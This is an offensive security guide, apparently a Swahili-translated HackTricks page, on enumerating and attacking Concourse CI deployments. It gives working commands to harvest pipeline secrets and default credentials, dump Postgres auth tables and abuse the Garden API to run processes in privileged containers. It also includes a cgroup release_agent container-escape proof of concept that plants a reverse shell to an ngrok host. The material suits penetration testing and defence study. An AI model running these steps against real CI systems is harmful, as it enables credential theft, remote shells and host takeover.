Concourse Enumeration & Attacks

Reading time: 16 minutes

Concourse Enumeration & Attacks

tip

Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Jifunze na fanya mazoezi ya Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Support HackTricks

User Roles & Permissions

Concourse inakuja na majukumu matano:

  • Concourse Admin: Hiki ni jukumu ambalo linatolewa tu kwa wamiliki wa timu kuu (timu ya mwanzo ya concourse). Wasimamizi wanaweza kuunda timu nyingine (mfano: fly set-team, fly destroy-team...). Ruhusa za jukumu hili haziwezi kuathiriwa na RBAC.
  • owner: Wamiliki wa timu wanaweza kubadilisha kila kitu ndani ya timu.
  • member: Wajumbe wa timu wanaweza kusoma na kuandika ndani ya rasilimali za timu lakini hawawezi kubadilisha mipangilio ya timu.
  • pipeline-operator: Wafanya kazi wa pipeline wanaweza kufanya operesheni za pipeline kama vile kuanzisha ujenzi na kufunga rasilimali, hata hivyo hawawezi kuboresha mipangilio ya pipeline.
  • viewer: Waangalizi wa timu wana "ufikiaji wa kusoma tu" kwa timu na mipangilio yake.

note

Zaidi ya hayo, ruhusa za majukumu owner, member, pipeline-operator na viewer zinaweza kubadilishwa kwa kuunda RBAC (kuunda kwa usahihi vitendo vyake). Soma zaidi kuhusu hilo katika: https://concourse-ci.org/user-roles.html

Kumbuka kwamba Concourse inaunganisha mipangilio ndani ya Timu. Hivyo basi watumiaji wanaotoka kwenye Timu wataweza kusimamia mipangilio hiyo na timu kadhaa zinaweza kuwepo. Mtumiaji anaweza kuwa sehemu ya timu kadhaa na kuwa na ruhusa tofauti ndani ya kila moja yao.

Vars & Credential Manager

Katika mipangilio ya YAML unaweza kuunda thamani ukitumia sintaksia ((_source-name_:_secret-path_._secret-field_)).
Kutoka kwenye hati: source-name ni hiari, na ikiwa imeachwa, meneja wa akiba wa kiwango cha klasta atatumika, au thamani inaweza kutolewa kwa statiki.
_secret-field_ ya hiari inaelezea uwanja kwenye akiba iliyopatikana kusoma. Ikiwa imeachwa, meneja wa akiba anaweza kuchagua kusoma 'uwanja wa kawaida' kutoka kwa akiba iliyopatikana ikiwa uwanja huo upo.
Zaidi ya hayo, secret-path na secret-field zinaweza kuzungukwa na nukuu mbili "..." ikiwa zina micharacter maalum kama . na :. Kwa mfano, ((source:"my.secret"."field:1")) itaweka secret-path kuwa my.secret na secret-field kuwa field:1.

Static Vars

Static vars zinaweza kuainishwa katika hatua za kazi:

yaml
- task: unit-1.13
file: booklit/ci/unit.yml
vars: { tag: 1.13 }

Or kutumia fly hoja zifuatazo:

  • -v au --var NAME=VALUE inaweka string VALUE kama thamani ya var NAME.
  • -y au --yaml-var NAME=VALUE inachambua VALUE kama YAML na inaweka kama thamani ya var NAME.
  • -i au --instance-var NAME=VALUE inachambua VALUE kama YAML na inaweka kama thamani ya instance var NAME. Tazama Grouping Pipelines kujifunza zaidi kuhusu instance vars.
  • -l au --load-vars-from FILE inaweka FILE, hati ya YAML inayojumuisha majina ya var yanayohusishwa na thamani, na inaweka zote.

Usimamizi wa Akida

Kuna njia tofauti ambazo Msimamizi wa Akida unaweza kufafanuliwa katika pipeline, soma jinsi katika https://concourse-ci.org/creds.html.
Zaidi ya hayo, Concourse inasaidia wasimamizi tofauti wa akida:

caution

Kumbuka kwamba ikiwa una aina fulani ya ufikiaji wa kuandika kwa Concourse unaweza kuunda kazi za kuondoa siri hizo kwani Concourse inahitaji kuwa na uwezo wa kuzifikia.

Uainishaji wa Concourse

Ili kuainisha mazingira ya concourse unahitaji kwanza kusanya akida halali au kupata token iliyothibitishwa labda katika faili ya usanidi .flyrc.

Ingia na Uainishaji wa Mtumiaji wa Sasa

  • Ili kuingia unahitaji kujua kiungo, jina la timu (kawaida ni main) na timu ambayo mtumiaji anahusishwa nayo:
  • fly --target example login --team-name my-team --concourse-url https://ci.example.com [--insecure] [--client-cert=./path --client-key=./path]
  • Pata malengo yaliyowekwa:
  • fly targets
  • Pata ikiwa kiungo kilichowekwa bado ni halali:
  • fly -t <target> status
  • Pata jukumu la mtumiaji dhidi ya kiungo kilichotajwa:
  • fly -t <target> userinfo

note

Kumbuka kwamba token ya API inahifadhiwa katika $HOME/.flyrc kwa kawaida, unapoiba mashine unaweza kuipata huko akida.

Timu & Watumiaji

  • Pata orodha ya Timu
  • fly -t <target> teams
  • Pata majukumu ndani ya timu
  • fly -t <target> get-team -n <team-name>
  • Pata orodha ya watumiaji
  • fly -t <target> active-users

Pipelines

  • Orodha ya pipelines:
  • fly -t <target> pipelines -a
  • Pata yaml ya pipeline (taarifa nyeti zinaweza kupatikana katika ufafanuzi):
  • fly -t <target> get-pipeline -p <pipeline-name>
  • Pata mipangilio yote ya vars iliyotangazwa katika pipeline
  • for pipename in $(fly -t <target> pipelines | grep -Ev "^id" | awk '{print $2}'); do echo $pipename; fly -t <target> get-pipeline -p $pipename -j | grep -Eo '"vars":[^}]+'; done
  • Pata majina yote ya siri za pipelines zilizotumika (ikiwa unaweza kuunda/kubadilisha kazi au kuiba kontena unaweza kuondoa hizo):
bash
rm /tmp/secrets.txt;
for pipename in $(fly -t onelogin pipelines | grep -Ev "^id" | awk '{print $2}'); do
echo $pipename;
fly -t onelogin get-pipeline -p $pipename | grep -Eo '\(\(.*\)\)' | sort | uniq | tee -a /tmp/secrets.txt;
echo "";
done
echo ""
echo "ALL SECRETS"
cat /tmp/secrets.txt | sort | uniq
rm /tmp/secrets.txt

Mkonzo & Wafanyakazi

  • Orodha ya wafanyakazi:
  • fly -t <target> workers
  • Orodha ya mkonzo:
  • fly -t <target> containers
  • Orodha ya ujenzi (kuona kinachoendelea):
  • fly -t <target> builds

Mashambulizi ya Concourse

Uthibitisho wa Brute-Force

  • admin:admin
  • test:test

Orodha ya siri na vigezo

Katika sehemu iliyopita tuliona jinsi unavyoweza kupata majina yote ya siri na vigezo vinavyotumika na pipeline. Vigezo vinaweza kuwa na taarifa nyeti na jina la siri litakuwa na manufaa baadaye kujaribu kuiba.

Kikao ndani ya mkonzo unaoendesha au ulioendesha hivi karibuni

Ikiwa una ruhusa za kutosha (nafasi ya mwanachama au zaidi) utaweza kuorodhesha pipelines na nafasi na tu kupata kikao ndani ya <pipeline>/<job> mkonzo ukitumia:

bash
fly -t tutorial intercept --job pipeline-name/job-name
fly -t tutorial intercept # To be presented a prompt with all the options

Kwa ruhusa hizi unaweza kuwa na uwezo wa:

  • Kuchukua siri ndani ya konteina
  • Jaribu kutoroka hadi kwenye node
  • Kuorodhesha/Kutumia vibaya cloud metadata endpoint (kutoka kwenye pod na kutoka kwenye node, ikiwa inawezekana)

Uundaji/Modification wa Pipeline

Ikiwa una ruhusa za kutosha (mwanachama au zaidi) utaweza kuunda/kubadilisha pipelines mpya. Angalia mfano huu:

yaml
jobs:
- name: simple
plan:
- task: simple-task
privileged: true
config:
# Tells Concourse which type of worker this task should run on
platform: linux
image_resource:
type: registry-image
source:
repository: busybox # images are pulled from docker hub by default
run:
path: sh
args:
- -cx
- |
echo "$SUPER_SECRET"
sleep 1000
params:
SUPER_SECRET: ((super.secret))

Kwa kubadilisha/kuunda pipeline mpya utaweza:

  • Kuharibu siri (kupitia kuzionyesha au kuingia ndani ya kontena na kuendesha env)
  • Kutoroka hadi node (kwa kukupa ruhusa za kutosha - privileged: true)
  • Kuorodhesha/Kutumia cloud metadata endpoint (kutoka kwenye pod na kutoka kwenye node)
  • Kufuta pipeline iliyoundwa

Teua Kazi Maalum

Hii ni sawa na njia ya awali lakini badala ya kubadilisha/kuunda pipeline mpya kabisa unaweza tu kutekeleza kazi maalum (ambayo labda itakuwa siri zaidi):

yaml
# For more task_config options check https://concourse-ci.org/tasks.html
platform: linux
image_resource:
type: registry-image
source:
repository: ubuntu
run:
path: sh
args:
- -cx
- |
env
sleep 1000
params:
SUPER_SECRET: ((super.secret))
bash
fly -t tutorial execute --privileged --config task_config.yml

Kutoroka kwenye node kutoka kwa kazi yenye mamlaka

Katika sehemu zilizopita tuliona jinsi ya kutekeleza kazi yenye mamlaka na concourse. Hii haitatoa ufikiaji sawa kabisa wa kontena kama bendera yenye mamlaka katika kontena la docker. Kwa mfano, huwezi kuona kifaa cha mfumo wa faili cha node katika /dev, hivyo kutoroka kunaweza kuwa "ngumu" zaidi.

Katika PoC ifuatayo tutatumia release_agent kutoroka na mabadiliko madogo:

bash
# Mounts the RDMA cgroup controller and create a child cgroup
# If you're following along and get "mount: /tmp/cgrp: special device cgroup does not exist"
# It's because your setup doesn't have the memory cgroup controller, try change memory to rdma to fix it
mkdir /tmp/cgrp && mount -t cgroup -o memory cgroup /tmp/cgrp && mkdir /tmp/cgrp/x

# Enables cgroup notifications on release of the "x" cgroup
echo 1 > /tmp/cgrp/x/notify_on_release


# CHANGE ME
# The host path will look like the following, but you need to change it:
host_path="/mnt/vda1/hostpath-provisioner/default/concourse-work-dir-concourse-release-worker-0/overlays/ae7df0ca-0b38-4c45-73e2-a9388dcb2028/rootfs"

## The initial path "/mnt/vda1" is probably the same, but you can check it using the mount command:
#/dev/vda1 on /scratch type ext4 (rw,relatime)
#/dev/vda1 on /tmp/build/e55deab7 type ext4 (rw,relatime)
#/dev/vda1 on /etc/hosts type ext4 (rw,relatime)
#/dev/vda1 on /etc/resolv.conf type ext4 (rw,relatime)

## Then next part I think is constant "hostpath-provisioner/default/"

## For the next part "concourse-work-dir-concourse-release-worker-0" you need to know how it's constructed
# "concourse-work-dir" is constant
# "concourse-release" is the consourse prefix of the current concourse env (you need to find it from the API)
# "worker-0" is the name of the worker the container is running in (will be usually that one or incrementing the number)

## The final part "overlays/bbedb419-c4b2-40c9-67db-41977298d4b3/rootfs" is kind of constant
# running `mount | grep "on / " | grep -Eo "workdir=([^,]+)"` you will see something like:
# workdir=/concourse-work-dir/overlays/work/ae7df0ca-0b38-4c45-73e2-a9388dcb2028
# the UID is the part we are looking for

# Then the host_path is:
#host_path="/mnt/<device>/hostpath-provisioner/default/concourse-work-dir-<concourse_prefix>-worker-<num>/overlays/<UID>/rootfs"

# Sets release_agent to /path/payload
echo "$host_path/cmd" > /tmp/cgrp/release_agent


#====================================
#Reverse shell
echo '#!/bin/bash' > /cmd
echo "bash -i >& /dev/tcp/0.tcp.ngrok.io/14966 0>&1" >> /cmd
chmod a+x /cmd
#====================================
# Get output
echo '#!/bin/sh' > /cmd
echo "ps aux > $host_path/output" >> /cmd
chmod a+x /cmd
#====================================

# Executes the attack by spawning a process that immediately ends inside the "x" child cgroup
sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"

# Reads the output
cat /output

warning

Kama unavyojua hii ni kutoroka kwa release_agent wa kawaida tu ikibadilisha njia ya cmd katika node

Kutoroka hadi node kutoka kwa kontena la Kazi

Kutoroka kwa release_agent wa kawaida na mabadiliko madogo yanatosha kwa hili:

bash
mkdir /tmp/cgrp && mount -t cgroup -o memory cgroup /tmp/cgrp && mkdir /tmp/cgrp/x

# Enables cgroup notifications on release of the "x" cgroup
echo 1 > /tmp/cgrp/x/notify_on_release
host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab | head -n 1`
echo "$host_path/cmd" > /tmp/cgrp/release_agent

#====================================
#Reverse shell
echo '#!/bin/bash' > /cmd
echo "bash -i >& /dev/tcp/0.tcp.ngrok.io/14966 0>&1" >> /cmd
chmod a+x /cmd
#====================================
# Get output
echo '#!/bin/sh' > /cmd
echo "ps aux > $host_path/output" >> /cmd
chmod a+x /cmd
#====================================

# Executes the attack by spawning a process that immediately ends inside the "x" child cgroup
sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"

# Reads the output
cat /output

Kutoroka kwenye node kutoka kwenye chombo cha Mtandao

Hata kama chombo cha mtandao kina baadhi ya ulinzi uliozimwa, hakikimbii kama chombo cha kawaida chenye mamlaka (kwa mfano, huwezi kuunganisha na uwezo ni mdogo sana, hivyo njia zote rahisi za kutoroka kutoka kwenye chombo hazifai).

Hata hivyo, inahifadhi akili za ndani kwa maandiko wazi:

bash
cat /concourse-auth/local-users
test:test

env | grep -i local_user
CONCOURSE_MAIN_TEAM_LOCAL_USER=test
CONCOURSE_ADD_LOCAL_USER=test:test

Unaweza kutumia akreditivu hizo ku ingia kwenye seva ya wavuti na kuunda kontena lenye mamlaka na kutoroka hadi nodi.

Katika mazingira unaweza pia kupata taarifa za kufikia postgresql ambayo concourse inatumia (anwani, jina la mtumiaji, nenosiri na hifadhidata miongoni mwa taarifa nyingine):

bash
env | grep -i postg
CONCOURSE_RELEASE_POSTGRESQL_PORT_5432_TCP_ADDR=10.107.191.238
CONCOURSE_RELEASE_POSTGRESQL_PORT_5432_TCP_PORT=5432
CONCOURSE_RELEASE_POSTGRESQL_SERVICE_PORT_TCP_POSTGRESQL=5432
CONCOURSE_POSTGRES_USER=concourse
CONCOURSE_POSTGRES_DATABASE=concourse
CONCOURSE_POSTGRES_PASSWORD=concourse
[...]

# Access the postgresql db
psql -h 10.107.191.238 -U concourse -d concourse
select * from password; #Find hashed passwords
select * from access_tokens;
select * from auth_code;
select * from client;
select * from refresh_token;
select * from teams; #Change the permissions of the users in the teams
select * from users;

Kutumia Huduma ya Garden - Si Shambulio Halisi

warning

Hizi ni baadhi ya maelezo ya kuvutia kuhusu huduma, lakini kwa sababu inasikiliza tu kwenye localhost, maelezo haya hayataleta athari ambazo hatujashambulia tayari

Kwa default, kila mfanyakazi wa concourse atakuwa akifanya kazi na huduma ya Garden kwenye bandari 7777. Huduma hii inatumika na Mchambuzi wa Mtandao kuonyesha mfanyakazi kile anahitaji kutekeleza (kupakua picha na kuendesha kila kazi). Hii inasikika vizuri kwa mshambuliaji, lakini kuna ulinzi mzuri:

  • Inapatikana tu katika eneo la ndani (127..0.0.1) na nadhani wakati mfanyakazi anajiandikisha dhidi ya Mtandao na huduma maalum ya SSH, tunnel inaundwa ili seva ya wavuti iweze kuzungumza na kila huduma ya Garden ndani ya kila mfanyakazi.
  • Seva ya wavuti inasimamia kontena zinazoendesha kila sekunde chache, na kontena zisizotarajiwa zinatolewa. Hivyo ikiwa unataka kuendesha kontena maalum unahitaji kuingilia kati ya mawasiliano kati ya seva ya wavuti na huduma ya garden.

Wafanyakazi wa concourse wanaendesha kwa ruhusa za juu za kontena:

Container Runtime: docker
Has Namespaces:
pid: true
user: false
AppArmor Profile: kernel
Capabilities:
BOUNDING -> chown dac_override dac_read_search fowner fsetid kill setgid setuid setpcap linux_immutable net_bind_service net_broadcast net_admin net_raw ipc_lock ipc_owner sys_module sys_rawio sys_chroot sys_ptrace sys_pacct sys_admin sys_boot sys_nice sys_resource sys_time sys_tty_config mknod lease audit_write audit_control setfcap mac_override mac_admin syslog wake_alarm block_suspend audit_read
Seccomp: disabled

Hata hivyo, mbinu kama kuunganisha kifaa cha /dev cha node au release_agent hazitafanya kazi (kwa sababu kifaa halisi chenye mfumo wa faili wa node hakipatikani, ni kifaa cha virtual tu). Hatuwezi kufikia michakato ya node, hivyo kutoroka kutoka kwa node bila exploits za kernel kunakuwa ngumu.

note

Katika sehemu iliyopita tuliona jinsi ya kutoroka kutoka kwa kontena lenye mamlaka, hivyo ikiwa tunaweza kutekeleza amri katika kontena lenye mamlaka lililoundwa na mfanyakazi wa sasa, tunaweza kutoroka hadi node.

Kumbuka kwamba nilipokuwa nikicheza na concourse niliona kwamba wakati kontena jipya linazaliwa ili kufanikisha kitu, michakato ya kontena inapatikana kutoka kwa kontena la mfanyakazi, hivyo ni kama kontena kuunda kontena jipya ndani yake.

Kuingia ndani ya kontena lenye mamlaka linalofanya kazi

bash
# Get current container
curl 127.0.0.1:7777/containers
{"Handles":["ac793559-7f53-4efc-6591-0171a0391e53","c6cae8fc-47ed-4eab-6b2e-f3bbe8880690"]}

# Get container info
curl 127.0.0.1:7777/containers/ac793559-7f53-4efc-6591-0171a0391e53/info
curl 127.0.0.1:7777/containers/ac793559-7f53-4efc-6591-0171a0391e53/properties

# Execute a new process inside a container
## In this case "sleep 20000" will be executed in the container with handler ac793559-7f53-4efc-6591-0171a0391e53
wget -v -O- --post-data='{"id":"task2","path":"sh","args":["-cx","sleep 20000"],"dir":"/tmp/build/e55deab7","rlimits":{},"tty":{"window_size":{"columns":500,"rows":500}},"image":{}}' \
--header='Content-Type:application/json' \
'http://127.0.0.1:7777/containers/ac793559-7f53-4efc-6591-0171a0391e53/processes'

# OR instead of doing all of that, you could just get into the ns of the process of the privileged container
nsenter --target 76011 --mount --uts --ipc --net --pid -- sh

Kuunda kontena mpya yenye mamlaka

Unaweza kwa urahisi kuunda kontena mpya (kimbia tu UID isiyo ya kawaida) na kutekeleza kitu ndani yake:

bash
curl -X POST http://127.0.0.1:7777/containers \
-H 'Content-Type: application/json' \
-d '{"handle":"123ae8fc-47ed-4eab-6b2e-123458880690","rootfs":"raw:///concourse-work-dir/volumes/live/ec172ffd-31b8-419c-4ab6-89504de17196/volume","image":{},"bind_mounts":[{"src_path":"/concourse-work-dir/volumes/live/9f367605-c9f0-405b-7756-9c113eba11f1/volume","dst_path":"/scratch","mode":1}],"properties":{"user":""},"env":["BUILD_ID=28","BUILD_NAME=24","BUILD_TEAM_ID=1","BUILD_TEAM_NAME=main","ATC_EXTERNAL_URL=http://127.0.0.1:8080"],"limits":{"bandwidth_limits":{},"cpu_limits":{},"disk_limits":{},"memory_limits":{},"pid_limits":{}}}'

# Wget will be stucked there as long as the process is being executed
wget -v -O- --post-data='{"id":"task2","path":"sh","args":["-cx","sleep 20000"],"dir":"/tmp/build/e55deab7","rlimits":{},"tty":{"window_size":{"columns":500,"rows":500}},"image":{}}' \
--header='Content-Type:application/json' \
'http://127.0.0.1:7777/containers/ac793559-7f53-4efc-6591-0171a0391e53/processes'

Hata hivyo, seva ya wavuti inakagua kila sekunde chache kontena zinazotembea, na ikiwa kontena isiyotarajiwa itagunduliwa, itafutwa. Kadri mawasiliano yanavyofanyika katika HTTP, unaweza kuingilia mawasiliano ili kuepuka kufutwa kwa kontena zisizotarajiwa:

GET /containers HTTP/1.1.
Host: 127.0.0.1:7777.
User-Agent: Go-http-client/1.1.
Accept-Encoding: gzip.
.

T 127.0.0.1:7777 -> 127.0.0.1:59722 [AP] #157
HTTP/1.1 200 OK.
Content-Type: application/json.
Date: Thu, 17 Mar 2022 22:42:55 GMT.
Content-Length: 131.
.
{"Handles":["123ae8fc-47ed-4eab-6b2e-123458880690","ac793559-7f53-4efc-6591-0171a0391e53","c6cae8fc-47ed-4eab-6b2e-f3bbe8880690"]}

T 127.0.0.1:59722 -> 127.0.0.1:7777 [AP] #159
DELETE /containers/123ae8fc-47ed-4eab-6b2e-123458880690 HTTP/1.1.
Host: 127.0.0.1:7777.
User-Agent: Go-http-client/1.1.
Accept-Encoding: gzip.

Marejeo

  • https://concourse-ci.org/vars.html

tip

Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Jifunze na fanya mazoezi ya Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Support HackTricks